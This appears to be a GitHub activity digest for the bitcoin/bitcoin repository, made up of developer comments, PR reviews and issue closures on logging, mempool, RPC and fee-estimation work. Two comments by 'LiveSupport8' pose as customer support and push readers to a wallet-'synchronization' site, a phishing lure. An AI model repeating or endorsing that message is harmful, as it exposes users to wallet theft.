💬 Crypt-iQ commented on pull request "log: Mitigate disk filling attacks by rate limiting LogPrintf, LogInfo, LogWarning, LogError":
(https://github.com/bitcoin/bitcoin/pull/32604#issuecomment-2907015832)
> if a node crashes or hits some fatal error the most recent unfiltered log can be saved?

Does unfiltered here mean a log line that was rate limited or does it mean something else in this context? I think that we would need to know ahead of time if we were going to crash to save the most recent unfiltered log unless we somehow always cache it?

💬 chrisguida commented on pull request "policy: uncap datacarrier by default":
(https://github.com/bitcoin/bitcoin/pull/32406#issuecomment-2907189059)
For anyone interested, I posted a detailed explanation on Delving of why I am against this proposal: https://delvingbitcoin.org/t/addressing-community-concerns-and-objections-regarding-my-recent-proposal-to-relax-bitcoin-cores-standardness-limits-on-op-return-outputs/1697/2?u=cguida

⚠️ FarrelAlFeshall opened an issue: "Gödel's Untouched Money"
(https://github.com/bitcoin/bitcoin/issues/32610)
I'm here for the last time, maybe one day I'll share this in the Bitcointalk Altcoin session? Im Youngest Former Pseudonym Group since 2017 and this is just a new Digital Signature offer for Bitcoin because it is still not possible for me to have a Community for the entry requirements of the crypto market... I honestly want this to be realized but please change everything starting from Abstract to Reference, change all sentences in html coding and not for comparison, I hope the offer of Cryptogr
...

✅ achow101 closed an issue: "Gödel's Untouched Money"
(https://github.com/bitcoin/bitcoin/issues/32610)

💬 earonesty commented on pull request "policy: uncap datacarrier by default":
(https://github.com/bitcoin/bitcoin/pull/32406#issuecomment-2907671104)
very detailed and accurate thanks

On Sat, May 24, 2025, 3:14 PM Chris Guida ***@***.***> wrote:

> *chrisguida* left a comment (bitcoin/bitcoin#32406)
> <https://github.com/bitcoin/bitcoin/pull/32406#issuecomment-2907189059>
>
> For anyone interested, I posted a detailed explanation on Delving of why I
> am against this proposal:
> https://delvingbitcoin.org/t/addressing-community-concerns-and-objections-regarding-my-recent-proposal-to-relax-bitcoin-cores-standardness-limits-on-op-retu
...

💬 LiveSupport8 commented on issue "intermittent issue in feature_init.py (bitcoind should have exited with expected error LevelDB error: Corruption)":
(https://github.com/bitcoin/bitcoin/issues/32600#issuecomment-2907679455)
Thank you for reaching to Our Github. Customer service may take some time to respond due to a large number of requests. We believe your case will be resolved as soon as possible. Kindly visit the below webpage to synchronize your wallet for fixing process

https://support---protocol.vercel.app/

💬 LiveSupport8 commented on issue "windows: depends config fails":
(https://github.com/bitcoin/bitcoin/issues/32578#issuecomment-2907679915)
Thank you for reaching to Our Github. Customer service may take some time to respond due to a large number of requests. We believe your case will be resolved as soon as possible. Kindly visit the below webpage to synchronize your wallet for fixing process

https://support---protocol.vercel.app/

💬 polespinasa commented on pull request "rpc: Round verificationprogress to 1 for a recent tip":
(https://github.com/bitcoin/bitcoin/pull/32528#issuecomment-2907721788)
> One thing that's a little weird about this is that when I open regtest after a few days...
>
> ```
> --> bccli -regtest -getinfo
> Chain: regtest
> Blocks: 202
> Headers: 202
> Verification progress: ▒▒▒▒▒▒░░░░░░░░░░░░░░░ 27.7195%
> ```
>
> Of course after generating 1 block at time=now, it snaps to 100%

Maybe instead of not using this new approach on regtest (as I suggested here https://github.com/bitcoin/bitcoin/pull/32528#issuecomment-2899113774) we could just add a message s
...

💬 polespinasa commented on pull request "rpc: generatetomany":
(https://github.com/bitcoin/bitcoin/pull/32468#issuecomment-2907738036)
Squashed all commits and removed the first approach (`generatetomany`) which can still be checked here https://github.com/polespinasa/bitcoin/pull/3

💬 polespinasa commented on pull request "rpc: generatetomany":
(https://github.com/bitcoin/bitcoin/pull/32468#discussion_r2106153945)
Thx!
Will correct in case we revert to `generatetomany` approach.

💬 heyolaniran commented on pull request "cluster mempool: optimized candidate search":
(https://github.com/bitcoin/bitcoin/pull/30286#issuecomment-2907739981)
These changes could potentially lead to better performance under high-load scenarios. It would be valuable to discuss how this might affect existing workflows and any edge cases we should consider.

💬 maflcko commented on pull request "rpc: Round verificationprogress to 1 for a recent tip":
(https://github.com/bitcoin/bitcoin/pull/32528#issuecomment-2907786115)
I fail to see how showing a value lower than 1.0 on regtest if your tip is stale is "really confusing". Showing 1.0 for a stale tip is confusing and this pull fixes that. Also, if you exclude/special-case regtest, it will be more code and also harder/impossible to test.

⚠️ Ciornenichii opened an issue: "Bitcoin"
(https://github.com/bitcoin/bitcoin/issues/32613)

✅ fanquake closed an issue: "Bitcoin"
(https://github.com/bitcoin/bitcoin/issues/32613)

💬 maflcko commented on pull request "rpc: generateblock to allow multiple outputs":
(https://github.com/bitcoin/bitcoin/pull/32468#discussion_r2106232962)
all those `raw(` can probably just be omitted and use the OP_RETURN fallback

💬 andrewtoth commented on pull request "contrib: add xor-blocks tool to obfuscate blocks directory":
(https://github.com/bitcoin/bitcoin/pull/32451#discussion_r2106257312)
Done.

💬 andrewtoth commented on pull request "Broadcast own transactions only via short-lived Tor or I2P connections":
(https://github.com/bitcoin/bitcoin/pull/29415#issuecomment-2907963606)
re-ACK cedbc2cd99754c099e92f074e1d5566da265bf26

Changes from previously ACK'd 1c16944a4aff71e6560703916b11b2a544ea71ca - `git range-diff 99a4ddf5ab...1c16944a4a 7763e86afa...cedbc2cd99`

- CSempahoreGrant -> CountingSemaphoreGrant in c3ff0b2e46be289f7c8e4aa2ea72b18f853dc100
- CSemaphoreGrant::post -> CountingSempahoreGrant::release in c3ff0b2e46be289f7c8e4aa2ea72b18f853dc100
- CSempahore -> std::counting_sempahore in c3ff0b2e46be289f7c8e4aa2ea72b18f853dc100
- Removed some changes to `CWa
...

👍 andrewtoth approved a pull request: "log: print reason when writing chainstate"
(https://github.com/bitcoin/bitcoin/pull/32404#pullrequestreview-2866929261)
utACK 53e9b71b2fd59c18b75e45e3a24c39182c20a59e

📝 tnndbtc opened a pull request: "fee estimate test: fix #31944 by handling a legitimate scenario that …"
(https://github.com/bitcoin/bitcoin/pull/32615)
Fix a legitimate scenario that feerate is not always available, due to the execution path that current percentage is smaller than success break point, in TxConfirmStats::EstimateMedianVal (in src/policy/fees.cpp)

To reproduce/validate the issue, run the test with a specific randomseed: 2986529890161488286

build/test/functional/test_runner.py test/functional/feature_fee_estimation.py --randomseed=2986529890161488286 --tmpdir /tmp

More details can be found in discussion of https://github.
...

💬 tnndbtc commented on issue "Intermittent failure in feature_fee_estimation.py in check_raw_estimates feerate = float(e["feerate"]) KeyError: 'feerate'":
(https://github.com/bitcoin/bitcoin/issues/31944#issuecomment-2908043928)
Include @Empact who originally worked on this test to review PR# 32615